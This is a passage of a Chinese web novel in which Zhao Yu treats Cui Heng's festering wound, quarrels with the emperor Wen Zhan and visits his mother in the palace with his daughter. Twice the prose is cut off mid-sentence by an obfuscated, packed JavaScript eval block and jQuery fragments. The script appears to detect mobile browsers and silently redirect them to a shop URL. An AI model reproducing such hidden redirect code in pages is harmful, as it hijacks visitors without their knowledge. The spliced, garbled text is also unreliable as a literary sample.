崔珩想要轻轻推开他,赵毓却反手一把抓住他,抬手,开始解他领口的扣子。崔珩就这么站着,看着他。赵毓将崔珩的袍服解开,里面的白色软丝的里衣,顺手,也脱下。崔珩肩膀就裸|露了出来,上面裹着层层白布,没有血迹。可是赵毓去抓崔珩的手,他的手却没有任何力道。崔珩肩膀的伤比尹明扬要麻烦,那是被利箭洞穿的地方,必须从里到外慢慢愈合,与希望的事情相反,他的伤不但没有愈合,反而从里到外溃烂了。 赵毓,“这么重的烟膏味道,我就知道你身上有重伤。春天我伤了你不让我用这个,这一次我也不让你再用了。悬崖勒马还不晚,真要是成瘾了,你就彻底毁了。我总说我爹就生了我一个,身边没有手足,当年宫里那些兄弟姐妹又不是我的,其实,到最后,这个世上,唯一同我骨肉血脉相连的兄弟只有你一个。你要是出了事,世上就真的只剩下我一个人了。” 赵毓让崔珩坐在桂花树层层遮挡的凉亭中,自己回书房拿那个樟木箱子。他将箱子打开,先拿剪子将崔珩肩膀裹伤的白布剪开,此时仔细看,那伤口果然有些肿,虽然表面愈合,但是内里已经溃烂,好在伤口面积并不大。赵毓让人将这些针、刀子、剪子、镊子和夹子用水煮开,用火燎一遍刃,最后开一坛子烈酒全部泡好,他自己仔细洗了手,用一块布巾遮挡鼻子与嘴,随即拿起来细刀切开了崔珩肩膀上有些肿胀的地方。 皮肤裂开,脓血流出,为了彻底清理,赵毓用烈酒一遍一遍洗着崔珩肩膀的伤口。这一次,没有麻沸散,没有阿|芙|蓉,什么也没有。崔珩却异常安静,他只看着赵毓,似乎那个桀骜不羁、野性难驯的宁淮侯是个泡影。 赵毓,“既然伤了,就应该在家中好好养着。” 崔珩看着他,“我对不起你,尹徵是在我手中丢的,我一定帮你找回来。” 赵毓帮他处理好伤,换了干净的白布重新裹上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728903|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此时,他也知道崔珩疼的厉害,却没有办法。崔珩依旧端坐着,他脸色发白,额角鼻尖上已经渗了一层冷汗,手指攥成一个拳头,用力到手臂上青筋爆出。 “你没有对不起我。”赵毓,“你离开雍京时我就说过,你有王命在身,你需要做的就是将何初云完好无损的带回雍京,其它的事情,都与你无关。尹徵是我的事,我会自己去找他。” “我对不起你。”崔珩,“承怡,这辈子我就对不起你一次,让我后悔了半辈子。我不想再出点什么事,让我死了也闭不上眼。” 赵毓叹口气,“什么年代的陈谷子烂芝麻,还提它们做什么?” 赵毓也有些累,坐在亭子的石头栏杆上。今年雨水大,他这个园子中的花草树木好像都成了精,均是枝繁叶茂,他们坐在凉亭中,被桂花树,蔷薇丛,还有十株茶花遮挡,如同进入另外一个静谧、安逸却馥郁的世界。 崔珩,“如果不是他拿着我那些烂账逼你和他鬼混,你现在不至于到这一步。” 赵毓又叹口气,“我又怎么了?” 他知道,崔珩疼的浑劲上来了。 赵毓就安静的坐着,安静的听着,他知道崔珩不把这些话说完,今天是不会罢休的。 崔珩,“你活的像个耗子一样。” 赵毓弯下|身,手掌捂住脸,用力搓了搓。 崔珩,“整天不见天日,什么人都要躲着,什么事都要拿捏分寸,你最近是不是心口疼的老毛病又犯了?我听说你让周熙的药行帮你准备清郁结的蜜丸,那种东西,你在西北再难都没有吃过,怎么一回雍京就要吃?” 赵毓,“老崔,……”随后,又来了一句,“老崔!” “别叫我!”崔珩,“我就问你一句,如果当年太子没有拿着我的烂账逼你,你会和他在一起吗?” 赵毓一直没说话。 许久,崔珩见赵毓没有回答,又问了一句,“你回来,是因为真喜欢他,还是,你觉得你应该回来?” 这次,赵毓抬头,“有什么区别吗?” 崔珩,“如果当年躺在那里七天七夜、生死未卜的人是我,你会回来吗?” “会。”赵毓,“当年先帝病重,我回京,你说过,刀山火海挡不住我回来,当时你还说过,刀山火海也挡不住你过来找我,我也是。可是,……” 突然,——“祖宗!” 一声。 黄枞菖的声音。 赵毓今晚过的艰难,脾气也不好,一听见黄枞菖的声音就随口来了一句,“大晚上不睡觉,你蹿过来做什么,……” 他转过桂花树,看见蔷薇丛外站着的是两个人。 黄枞菖。 与。 文湛! 皇帝脸上一点表情也没有,玉雕一般,“尹徵出事了。我过来只是想要告诉你这个,只是,你好像并不需要我。既然这样,我先回宫了。” 文湛不再说话,转身就离开。 赵毓想要拦住他,但是一想明日大朝会,不能耽搁,于是他只来得及说一句,“我明日有事进宫,等事情一了,我去找你。” “不用。”文湛却说,“我们有了争执,还是我来找你,因为,……” 良久。 文湛才说,“我等不到你。” 赵毓站在门口,看着他们离开,夜风中,那些人胯|下马蹄翻舞,上好的马蹄铁映着月光,闪动着冷芒。 等他回去,崔珩已经穿好衣袍,扣子直接扎到脖子下面,严整的像是可以直接上朝一般。 崔珩,“又给你惹了麻烦,明天有大朝会,什么事,等明天|朝会结束,我们再从长计议。” 他要走,赵毓拦住他,“坐一下。” 崔珩看着他,转身,坐到凉亭中。 赵毓还是坐在石雕栏杆上,他低着头,看着周围繁茂的栀子,“当年的事,我没想那么多,就是想着不能让你死。至于,如果没有那件事,我同文湛是不是还会在一起,我不知道,没有发生过的事情,说什么都是虚的。” “你说我在雍京活的艰难,这我认,如果不回来会不会活的容易一些,应该会,我可以自在很多,但是,……” “这是我的代价,就好像文湛,他也有他的代价。” “也许你不知道,他想做一个好夫婿、好父亲,他希望可以将心爱的人从大正门抬进去,可以名正言顺的对着大郑列祖列宗上香,可以生儿育女,但是,如果他选择的那个人是我,之前他希望的一切都会破灭。” 赵毓又安静了一会儿,才说,“你为什么会觉得我不喜欢他?我以为你知道的。” 崔珩,“没人知道你想什么。” 赵毓,“我想什么,有那么重要吗?” 他忽然记起来,久远之前,文湛曾经对他说过: “承怡,大郑的皇位,有一半是属于你的。” “所以……” “把你的心给我。” …… 赵毓又对崔珩说,“我的心有那么重要吗?” 46. 46 46 月光如同水银一般倾泻,盛开的栀子上面有一层光晕,幽香随着夏夜的微风逐渐弥漫,散开。亭子中挂着一串小小的铜铃,随着夜风轻轻的响动着。 “有一阵我念过经,就是喜欢那句一切有为法,如梦幻泡影,如露亦如电,应作如是观。那个时候我总觉得自己好像在做梦,身边一切都是虚的。你们现在还叫我承怡,其实,这个名字都不是我的。名字是别人的,父子是假的,兄弟也是假的,那些年,我都不知道自己是不是假的。” “后来去了西北,日子过的苦一些,但是那些人很真,虽然看起来摸上去特别糙,但是特别的真,让我慢慢缓了过来。过去在雍京日子过的虚,最后能记住能抓住的也就只有你们几个人。后来,绮罗重病,去了,父皇重病,也去了,……我身边来来去去剩下的只就有你们几个人。哪个人出事,都像有人拿刀子剜人心肝一样。” “老崔。”赵毓终于抬头看着崔珩,“那年的事不是你的错,尹徵的事也不是你的错。当年,就算没有你的事,也会有别的事,文湛不会放手的,尹徵的事更与你无关。我当时让杨进将他带回云中,结果半途中遇到了我岳父,虽然没有回到云中也算是完成托付。洪丁既然过来寻仇,肯定不会善罢甘休,说到底,尹徵是在我岳父面前被掳走的,你在与不在,其实都不会改变什么。” “别让自己活的这么累,你不好过,我也不好过。” …… 薛宣平进赵毓家门的时候,看见整个院子就点了一盏灯。 赵毓坐在桂树后面亭子的栏杆上,弯着腰,手掌捂着脸,活像一只把头扎在黄沙中的黄鼠狼。 薛宣平,“老赵,你怎么了?那个真俊的相好的跟人跑了?” 赵毓用双手搓了搓脸,搓出了一张笑脸,“你怎么来了?” 薛宣平胖大的身躯有些难过,他一屁股坐在凉亭的台阶上,扯开衣服露出彪悍的肚皮,用一张大手做蒲扇,开始扇风。那边赵大妈给他端过来一个大碗装的镇了冰的酸梅汤,他道了谢,一手抓过大碗,仰着脖子,咕嘟咕嘟的几口灌下。 “其实我昨天就回来了,绮镇的事都做好了,石家的地契我已经抵押到了十三行的银庄,两天后就是月初,他们要开始算利息了。不过,我把多余的银子也存在十三行了,下个月月初也开始算利息,这些就是你净赚的。老赵,狠啊,一出手就是羡云飞两成的利,要不是你说把这些银子存在十三行没事,我都没脸过去。周熙那是什么角色,他能算不出你吞了这么多钱?” 赵毓没理他的话茬,就问了一句,“你自己的佣金抽了吗?” 薛宣平,“抽了。我不但足额足份的拿了,还按照规矩给了你点花红,下次有生意还要照顾照顾兄弟哟!” 说完,他从袖子中拿出几张银票,拍到一旁,特别豪爽。 赵毓,“用我的钱给我花红?” 薛宣平,“要不要,不要我就拿回去喝酒了。” 赵毓也过来,坐在台阶上,手指捻起来,对着月光仔细看了看,随后揣回袖子中。 薛宣平,“怎了了,脸色黑的跟锅底一样。” 赵毓,“我小舅子让人掳走了,不知道还能不能活着找回来。” “呼,役夫!”薛宣平高叫。 自从赵毓给他买了一本《左传》,让他读读,也知道知道历史,薛宣平别的没看下去,就把楚成王妹江芈骂楚穆王的开头给看下去了,所以以后每次惊呼都以这个开头,显得自己也是读书人,显得自己也文雅。 “有谁敢动你老丈人家的大公子,不想混了?” 赵毓,“洪丁。” 薛宣平,“哦,那就没法子了。那家伙是疯狗,上次在兰州把在西北混军功的什么徽什么郡王家的小儿子给剁了喂狗,就算最后咱拼死拼活抢回点什么,就剩一块腰子。” 赵毓,“徽郡王家第三个儿子的大孙子。” 薛宣平,“哦,反正就是个王孙公子。你小舅子到他手里没个好,你节哀,我跑了。” 他胖大的身躯还没起来,就被赵毓揪住了,“你得帮我。” 薛宣平没起来,就有窝了回去,“这个洪丁,我可找不到,他神出鬼没的,我怕他。” 赵毓,“没让你找洪丁,你帮我找加茉。” 薛宣平,“那娘们儿挺喜欢你的,满雍京城的元承哥哥元承哥哥乱叫,就怕别人不知道你们有奸|情,你怎么自己不去。” 赵毓不理睬,直接规定时间,“明天。” 薛宣平,“也行,不过,得加钱!” 赵毓帮刚才的银票拿了一张怕到薛宣平胖大的肚皮上,薛摸了摸才说,“明天己时一刻,我保准过来。” 禁宫,鹧鸪殿。 静寂异常,从正殿中能听到殿外莲叶上的露珠滴落的声音。这里的人连呼吸都是静的。那些平时伺候惯了皇帝的小太监们都不敢过来,他们泡茶的时候手指有些抖。柳丛容亲自动手,将文湛的外袍脱下,随后又仔细小心的为他换上就寝的里衣,奉上参茶。 文湛喝完参茶,忽然开口,“缇骑那边查到有关尹徵的任何消息,不一定要确定的东西,只要有蛛丝马迹,即刻回奏。” “是。”柳丛容小心应着。 文湛,“还有,太医局那边,承怡的药要是弄好了,就给他送过去吧。” 皇帝知道赵毓备药,也让太医局用最好的药材备了一份,只是“是药三分毒”,他原本并不想给赵毓吃那些东西,总想着自己能陪着他,可以让他开心一些,可以不让他再吃清心舒郁结的蜜丸,现在看来,是他太高看自己了。 听到这个吩咐,柳丛容甚至没有表达出意外,只是低头应答,“是。” 到了就寝的时间。 文湛躺好,柳丛容放下帷幕,吹熄了烛火。 一下子暗了下来。 床榻上摆着两个枕头。现在禁宫中,只要文湛就寝的地方就会摆放两个枕头,昭示着他不再是孤家寡人,他的身边有人,而且是枕边人。 文湛的手指在床铺上随便一划,指尖捏到一根长发,是赵毓的。他的头发很细,很软,捏在指尖都是温柔的,就同他这个人一样。 周围尽是赵毓的气息,在文湛自己衣物被褥上那种浓重的香气下面若隐若现。 这些年宫中积攒了很多白昙花的香料,那是赵毓昔年最爱用的味道,文湛想要全部给他送过去,赵毓却不要,他说自己现在过的粗糙,衣服就那么两件,洗的发白,没人伺候也没空再熏香了。 文湛没有坚持。 他喜欢让赵毓染上自己的味道,他给他穿自己的衣服,他让他睡在自己的被子里面,上面的味道可以把赵毓里里外外染透了,就像,他一直都是属于他的。 皇帝用的香料非常浓重,犹如玫瑰香奢,只是,文湛在这些味道下,依旧可以嗅到赵毓的气息,如同烈酒中的清水一般,极淡,让他发狂。 他们从绮镇回来在鹧鸪殿腻了两天,那种甜美柔软的触觉还没有褪去,文湛甚至感觉自己身边的位置不是空的。 他是不是疯了? 不对,自己对着那个人,一直是疯的,并且,这种疯病没有被治愈的一天。 五更。 寅正四刻,即天将明。 大朝会。 在京的官员,按照品轶陆续进宫。 这次是月初的朝会,启用的是大正宫正殿,天承殿。三公,三孤,六部,督察院,六科,五寺,詹士府,翰林院;以及在京的亲王,郡王,有爵位的公、侯、伯,还有这些勋贵家族正是册封的世子。三品以上的官员与这些勋贵们可以真正进入天承殿,其余人均要安静的跪在大殿外面的空地上。天承殿里面这些人,深色蟒袍或锦绣官服包裹的膝盖下,跪的是太湖金砖,而外面那些大人们,膝盖下跪着的则是汉白玉长砖。 此时,破除黎明晨曦后的第一束阳光自天空劈下,镀在大正宫的朱墙黑瓦上。 自午门到天承殿有一条毫无遮挡的御道,似乎从人间一直通到天际尽头。御道上面铺满了腾龙云海,均是汉白玉雕刻,那里是不能走人,只有皇帝的御辇可以自御道抬上,十六位羽林卫抬着车辇稳稳踩在御道两侧巨大的汉白玉台阶上。 晨风皱起,吹动皇帝十二道白玉珠旒冕,瑽瑢作响。 元熙帝登基十三年,之前作为太子监国三年,他十六岁至今,掌权十六年,天承殿中这些人,除去那些经历凤化元熙两朝的元老重臣与那些王公勋贵,其余的臣子多是文湛登基之后亲自授意提拔,他们对于凤化朝的记忆已经很淡漠了,只有那些元老王公们才能凭借回忆对照一下今上与先帝之间的区别。 先帝冲龄登基,凤化帝御极四十载,征伐天下,四海升平,堪称一代雄主。他为人带着一丝英雄气,作为君王,对待老臣也是宽和仁厚,有时遇到不忿的事情诸如臣下豪族放纵手下欺压平民,他也会疾言厉色,或者是一些天灾人祸的悲伤事情,他会当着臣下的面流泪,即使高高在上,先帝依旧像个人,这与今上全然不同。 天子似乎没有喜怒哀乐,他像个玉雕圣像一般,端坐在天承殿那把九龙环绕的龙椅上。今上从来没有疾言厉色,他说话声音不高,却掷地有声,徐徐言语,却可以让天承殿中所有臣子听的清楚明白。有时候,皇帝的声音只是些微提高一些,就像猛然敲打的周天子九鼎,金声玉振,片刻之后,在场所有人,无论是王公元老,还是德高望重的重臣,至于那些锐意进取的新贵们更是不要提了,全部膝盖一软,跪倒与地。所以,平日里皇帝的声音就愈加平缓,话语更少,甚至在朝会上也不怎么开口,颇有些大音希声的意味。 此次朝会有些例行公事,内阁首辅大臣楚蔷生将最近一些政务一一陈奏。 所有人屏住了呼吸,绞尽了脑汁,想要在楚相那清冽却斯文平缓的声线中找到自己想要知道的蛛丝马迹。 眼尖的人不着痕迹的四处看了看。 随侯石寰没有上朝,甚至连他的世子石慎也没有位列天承殿,石家要败?随侯石寰已经回京,他是有罪还是无罪,如果有罪,罪名是什么,仅仅是申斥还是褫夺王爵,甚至抄家灭族?随侯的败落是自己的罪不可赦,还是皇帝想要裁撤藩镇? 这里面看似差不多,却大不相同,如果是石家自己的罪,石寰被撤,他原本驻守的地方就是一块肥肉,群狼可争。 只是,如今北境战事刚刚平歇,皇帝就想要裁撤藩镇,……不要说那些战功彪炳的藩镇将军们有飞鸟尽良弓藏的凄凄之感,满朝勋贵武将,甚至那些文臣们也会生出一些唇亡齿寒的凉意。 还有,听说随侯夫人在大片土地已经易主,买主是谁?如果是豪族,这么明目张胆的兼并土地,朝廷是管还是不管?如果管,怎么管,如果不管,那么其他省份的豪族可不可以趁着天灾以高利贷等手段继续吞并平民的土地? …… 等等,诸如此类的想法,在所有人脑中流转,却没有一个能有答案,可以落到实处。 人心似海。 圣心难测。 臣心亦是难测。 此时,天承殿中,所有人都想是迷雾中的囚徒,脚下布满荆棘,身边人敌友莫测,只能一步一步向前探,安静乐土也好,万丈深渊也好,身后已无归路,即使血流成河,尸骨遍地,也要向前走下去。 …… 赵毓从尹府接来赵格非,在大朝会开启之后进宫,他本来以为宫门等候的人是宋尚宫,没想到是黄枞菖。 赵格非也是第一次见黄枞菖全套绯色袍服,衣袍底部,居然还绣着江牙海水的纹路,面对穿官服的黄枞菖,赵格非福了福,而黄枞菖则侧身躲开了。 赵毓,“你怎么在这儿?” 黄枞菖,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728904|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圣上让我在这里等着,一会儿陪您和姑娘去寿春宫。陛下是怕,……” 赵毓,“什么?” 黄枞菖,“边走边说吧。” 话是这么说,其实,他们也没什么可说的。 赵毓领着赵格非跟随黄枞菖从丽正门进去,一路沿着毫无遮挡的路走着。御园,太液池,层峦叠嶂的宫殿,还有高墙。赵格非抬头,看着这两旁的朱红色的墙,顶上的黑色琉璃瓦映着阳光,闪动着刺目的光。 ——这就是她父亲曾经生活过的地方? 看一个人,一定要看他的过往。她原先以为亲爹赵毓是犯官子弟,脾气很好,身上有没落王孙的习惯,却没有那种哀怨与戾气,非常难得的一个人。只是,她怎么也没想到,赵毓的身世更复杂,也更莫测。 这一重一重的高墙,似乎可以将天空都划分间隔开。 在这里,时间都是静止的。 似乎大郑王朝开国这一千二百年的时光全部铸在这里,一丝一毫都没有流逝一般。 九重宫阙就是九重宫阙。 这是那种庭院深深深几许所完全无法比拟的。 禁宫与人间完全隔离。 她记得赵毓说过,“说实话,能在雍京混的有名有姓的人都是禽兽,即使是华服罩身也都是衣冠禽兽。” 禁宫长大的人,无论外表如何的斯文,内里究竟是什么样子的? 赵毓掐着时辰,己时一刻必须要回去见薛宣平,所以他一到寿春宫外,二话不说,直接跪地! 赵格非看着也是想要跟着跪,被他一挥手,挡住。 “没你的事,旁边站一会儿。” 赵格非刚起身,赵毓直挺挺的在地板上磕了三个头。 第一下,脑门青肿。 第二下,皮肤开裂。 第三下,鲜血横流! 此时,寿春宫八扇大门陡然洞开。 宋尚宫身后是一位华服的女人,她一身宫装站在那里,像一尊已经被抽干了水头的石像。 太贵妃,崔樱。 …… 赵毓坐在一把酸枝木的椅子上,宋尚宫为他处置伤口。 他额头上已经破烂不堪,导致眼睛有些肿。此时,赵毓闭着眼睛,不说话,而那位太贵妃则在一旁,也不说话。 这母子两个已经有两年没有见过面,也没有说过话,而赵格非则从来没有见过这位祖母。 从字面上看,崔太贵妃是一位传奇的后宫女子: 丈夫是罪臣,被凌迟之后,她携子再嫁,居然是嫁入后宫,由一个只比宫女高一阶的美人身份,最后成为贵妃,先帝驾崩之后,她又成为后宫最高地位的女人,——太贵妃。 “这就是格非?”太贵妃忽然开口,嗓子有些涩,“瞧着和你小时候真像,不过比你乖。” 赵格非听见太贵妃叫她的名字,连忙过去。 她是闺秀,却不过是重臣的外孙女,一个“外”字就说明了一切;再加上她常年在云中,本来根本没有进宫觐见的资格,所以赵格非从来没有学过后宫礼节。于是她只是面对太贵妃跪下,以普通孙女见祖母的礼节跪下,恭恭敬敬磕了三个头。 太贵妃让宋尚宫赶忙将她扶起来,又从手腕上褪下一个羊脂玉的镯子给她,“格非,我是你祖母。” 赵毓忽然问,“娘,您让她进宫做什么?” 半晌,太贵妃才说,“原来是存着那个心思,想着她进宫,你就不会,……,后来,那些人以为有门路可走,想要将姑娘送进来,不过你丈母娘一口回绝了,这件事就算过去了。”停了一下,她才对宋尚宫说,“宋娘,带格非在院子中走走,咱们那边的葡萄熟了,看她喜欢不喜欢,自己摘点。” 赵格非看了赵毓一眼,赵毓没点头,她就没动。 太贵妃,“你想在闺女面前说?” 赵毓,“如今赵家门里就咱们三个,有什么话不能直接说?” 太贵妃,“你这是铁了心要跟着他。” 赵毓手指捂住一块布巾,浸染了药液护住额头,不说话。 太贵妃,“我失贞再嫁,为的就是给赵家留下你,你现在这么做,让我死后怎么见你爹?” 赵毓,“您只是再嫁,没有失贞。再说,你对得起我爹,他被千刀万剐的时候,连我是公是母、能不能活下来都不知道。咱们母子活到今天,您才是大功臣,说实话,您谁都对得起了,活着死了,也不用愧对谁。” 又静了下来,没人说话。 良久,太贵妃叹口气,“你给赵家留个后,我不管你了。” 赵毓,“您当格非不是人啊?” 太贵妃,“她是姑娘!” 赵毓,“姑娘怎么了?反正我这辈子就这么一个姑娘,您要是不愿意,自己再生一个。” 太贵妃抄起茶碗直接砸到赵毓的肩膀,“混账!” 赵毓躲都没躲,肩上被泼了茶水,一下子湿了。 赵格非姿势都没动,耳上戴着的明珠坠子都纹丝不动,只是眼神瞄了瞄赵毓。在她印象中,她爹一向是斯文有礼,从来不会这样诡辩。 “娘。”赵毓此时声音才软下来,“您想不想出宫?为了咱们两个的命,您在这不见天日的地方住了几乎一辈子了,想不想走出去?” 太贵妃忽然捂住了眼睛,声音带着湿润,“我走不了,为了你,我也走不了。” 赵毓,“别管我了,只说您想不想走?先帝临终有密旨,只要您愿意,可以去除贵妃称号,死后不用进皇陵。先帝说我爹一个人孤单,如果您愿意,百年后您可以去陪他。先帝还说,我爹如果地下有知,一定认得您。出宫后,您想要回冉庄,还是想要住雍京都好,我带您去看宅子,看中哪里,我去买。以后,咱们祖孙三个在一起,每天晚上吃顿安乐饭,您还给我炖肉吃。格非长这么大,还没吃过您的手艺呢。” 47. 47 47 很多事情不是一时半刻能解决的,不过,寿春宫正殿中的祖孙三个气氛倒是缓和了很多。 黄枞菖捧了茶点进来,赵毓饿了,他看了看时辰,还有时间吃点东西,于是拿起来一块红豆饼就着茶水慢慢吃下。 “娘,桂宝儿出大事了,格非留你这里住一天,你别出幺蛾子。” “我能出什么幺蛾子?” “反正我话撂这儿了,要是你敢动什么心眼,别怪我翻脸。” “你能翻什么脸?难不成,你真敢用你这条小命威胁你老娘?” “胡说什么?”赵毓很久没吃他娘做的红豆饼,今天碰上了,再多吃一块,“祸害遗千年,我好着呢。要是出事,我当着您的面挥刀自宫。” 噗!——赵格非贞静悠闲的正在喝茶,被她爹说的一句“挥刀自宫”弄的茶水全喷!她一个劲的咳嗽,根本压不住,一张俊俏的小脸憋的通红。她十年练就的闺秀功,今朝完全破损。只在今日,她一个闺秀能听的、不能听的混账话都被她亲爹说尽了。黄枞菖连忙过来,帮她轻轻拍背,好一会儿,这才好转。 宋尚宫忍不住,又轻轻打了赵毓一下,“有你这么当爹的吗,瞧瞧你,说的都是些什么乱七八糟的。” 赵毓出了大殿,黄枞菖跟着他。赵毓看了他一眼,“你别跟着我,你跟着花骨朵儿,她第一次来宫里,你带着她四处转转。注意避开东宫什么的,就是最好谁也别碰到。这里你熟,走哪里你明白。” 黄枞菖,“玉熙宫也去?” 赵毓,“去那里做什么?” 黄枞菖,“总是您从小到大住过的地方,姑娘好不容易来了,也好看看。” 赵毓,“越筝开府之前不是住那里吗?我的东西早没了,没什么好看的。” 黄枞菖,“七殿下早就迁宫了。圣上登基改元之后,后宫都是空的。大正宫别的不多,就是空房子多,七殿下住在景明宫。玉熙宫早就恢复原样了,连您当年去祈王府没有拿走的梅瓶还在,我昨天还插|了一支玉簪花。” 赵毓看看天色,他需要出宫,于是点点头,“你看着办,只要不遇到那些麻烦的人就好。” 玉熙宫大门并没有上锁,黄枞菖让人推开,赵格非慢慢走进去。 ——这是她亲爹长大的地方? 宫门内一片馥郁芬芳,奇花异草,许多都是海外诸国的贡品,就是连博览群书的赵格非都叫不上名字。 正殿带着道家无为而治的清雅。 宫殿内摆放着的桌椅书柜床榻则全部是海南黄花梨的料子,书桌上还铺着缂丝,图案是太液池的红莲。 文房四宝是珍品,镇纸是一块玄铁打造的虎符,旁边摆着一个柴窑的梅瓶,青如天,明如镜,薄如纸,声如磬,里面插着一支玉簪花。 床榻上还折着一件缂丝蟒袍,水一样沉静的味道,隐隐透着白昙花的香气。这是一品亲王的常服,黑色的底料,衣角上是江牙海水的纹路,翻滚的水浪点缀着祥云,寓意吉祥,也暗含着一统江山的意义。 这里是赵毓另外一面,一个赵格非完全陌生的一面。 黄枞菖,“我自小是他的伴当,后来是他王府的总管大太监,再后来就回到了司礼监。这里与祈王府都恢复原样了,可是他不愿意看,想来是怕触景生情。” “不是。”赵格非摇头。 黄枞菖,“什么?” 赵格非,“我爹没那么多心思悲春伤秋,他不是怕触景生情。黄瓜叔,我听您有时候称呼我爹王爷,而宁淮侯也称呼我爹承怡,其实你们一直在称呼另外一人。我爹不纠正你们,是因为不想伤了你们。他对我说过,回不去了,永远都回不去了,无论过去发生过什么纠葛什么恩怨,他不是先帝的骨血,这一点毋庸置疑。只这一点,玉熙宫也好,祈王府也罢,缂丝蟒袍还有这个柴窑梅瓶,这些稀世之珍,全部都不属于他。” 外面忽然很安静,所有人匍匐于地面。 皇帝到了。 黄枞菖连忙出去,他跪下,再起来。 文湛,“人呢?” 黄枞菖,“王爷已经出宫。” 大朝会一结束文湛就过来,还是晚了一步。文湛,“谁在里面?” 黄枞菖头也不抬,“王爷出宫前吩咐奴婢,带姑娘来玉熙宫看看。” 赵格非? 文湛站在玉熙宫门外,看着里面,一个小小的人影慢慢出现。 像,真的像他。 赵格非此时十三岁,女孩子比照男孩子更清秀,也显得更小一些,此时的她像极了十岁时候的承怡。 当年文湛才六岁,还是太子,冬至也不休息,独自在毓正宫读书。 门开了,从那边探头探脑出来一个小脑袋,就是承怡。他的头发软软乱乱的,模样特别清秀,像一个女孩儿似的,眼睛水亮亮的,笑起来很好看。 可惜的是,他的眼睛下面却有一颗痣,那是泪痣。据说,有泪痣的人,一生命运坎坷,会流很多眼泪。 赵格非就没有泪痣。 当年的承怡并不像赵格非这样文静,只是,他不说话,不撒泼,不骂人的时候,还是显得斯文又秀气的。 那个时候,他探了探头,左右看了看,直接跳了进来,跑到文湛书桌前面,手中拿着一个小瓷瓶,放在文湛的书桌上。 “给你,这是治疗牙疼的药,我让我表哥配的,他认识一个大夫非常好,配的药也好,你试试吧。” 当时文湛差点笑出来。 这么明目张胆的给他药,他就不怕被别人利用,栽赃陷害吗? 不说别的,只要他太子今天说自己不舒服是因为用了皇长子的药,那么皇长子有可能被废为庶人,崔美人外加崔美人一家都会被牵连,从此永不翻身! “你不要吗?哦,对哦,李芳告诉我,你是太子,用的东西,吃的东西都要让别人先验过的。这药我已经用过一瓶了,你看!”说完,承怡还把自己的嘴巴拉开,露出一口小白牙和粉色健康的牙龈。“我原来这里有个泡,很疼很疼,用了不到三天就下去了。你看,你看,就在这里!”说着,他还用手指点点那边。 文湛拿过药,却问了一句,“你知道我是太子?你连三殿下羽澜、四殿下青苏都分不清。” “六弟是太子!我当然知道!你又不是羽澜青苏!我要回去了,我娘等我回去吃饺子,记得擦药哦。我先走了。” 说完,承怡就蹦蹦跳跳的离开,好像一只小兔子。 …… 赵格非不知道真正到了御前应该如何行礼,她只能按照见长辈的礼节跪下,说了一声,“六叔。” 文湛后退一步,“起来吧。” 说完,文湛又退了一步。面对赵格非,他总是站的远一些。 赵格非抬头,看了看文湛。 皇帝穿着一身常服,缂丝的衣袍没有五爪龙纹只是水波纹,却有着惊心动魄的精致,同样,穿这样一身锦袍的人,也是一个令人惊心动魄的人。 “六叔,我好像原来见过您。” “嗯。”文湛点头,“那个时候你母亲新丧,先帝驾崩你父亲回京奔丧的时候带着你,我照顾过你。” 一时间,无话。 末了,文湛对黄枞菖说,“你好好伺候。” 说完,离开。 皇帝离去,所有人跪送。 薛宣平坐兰叶巷赵家门口的石头门当上,看着赵毓骑着马急急忙忙赶过来,脑门上裹着白布。于是,他笑的不可自抑,“哈哈,老赵,你也有今天,被你相好打了?” 赵毓下马,“胡说八道什么?” 薛宣平,“难道不是你那个相好知道你轧姘头,跟你动手了?”说着一努嘴,“里面有人,长得虽然不如上一个,不过还真是眉目如画。老赵,你有艳福,自己看看去。” 赵毓进门,看见崔珩,他穿着一身同自己差不多的布衫,坐在亭子的栏杆上剥花生。 赵毓,“我得出趟门。” 崔珩将这些花生壳子拢了拢,“我跟你去。” 赵毓知道他是头倔驴,这次尹徵是在他眼前被掳走,无论与不与他相关,崔珩一定不会善罢甘休,所以,听他这样说,赵毓点点头。 崔珩看了看赵毓的脑门,“怎么回事?” 赵毓,“给我娘磕头磕的。” 此时,薛宣平从外面进来,听到赵毓的话惊讶,“怎么,你还有老娘?我还以为你从石头缝中蹦出来的哩!” 赵毓让赵大妈帮忙打了水,洗了洗手,也擦了擦脸,就问薛宣平,“加茉怎么说?” “加茉那娘儿们说知道你肯定去找她,她怕你带人过去把她给一锅端了,所以另外约了个地方。” 薛宣平说着,从怀中掏出一张纸,“喏,地址在这。” 赵毓拿过来看了一眼,——南城。 他反手从这薛宣平抖了抖,“我给你一张银票就换了这?” 薛宣平,“那娘儿们说,你知道在哪儿。” 雍京南城是脂粉繁华之地,秦楼楚馆遍地,北地胭脂,南国佳人,应有尽有,任君采劼。 榭芝阁。 这里是一家不大不小的饭馆,院子后面则是不公开的青楼。 这里吃饭的客人不少,而且很杂,就是因为这里的饭菜好吃,量大不贵。 院子后面的生意则隐蔽多了。 赵毓他们一进来,就有一个高鼻梁的小厮,恭恭敬敬的等候在门口,一见赵毓也不说话,就把他、崔珩,还有薛宣平直接领进后面的院子。前面与后面的连接是一条歪七扭八的长廊,两旁尽是遮天巨木,林荫之下,看不清楚来时路。 不久,他们到了一间屋子。 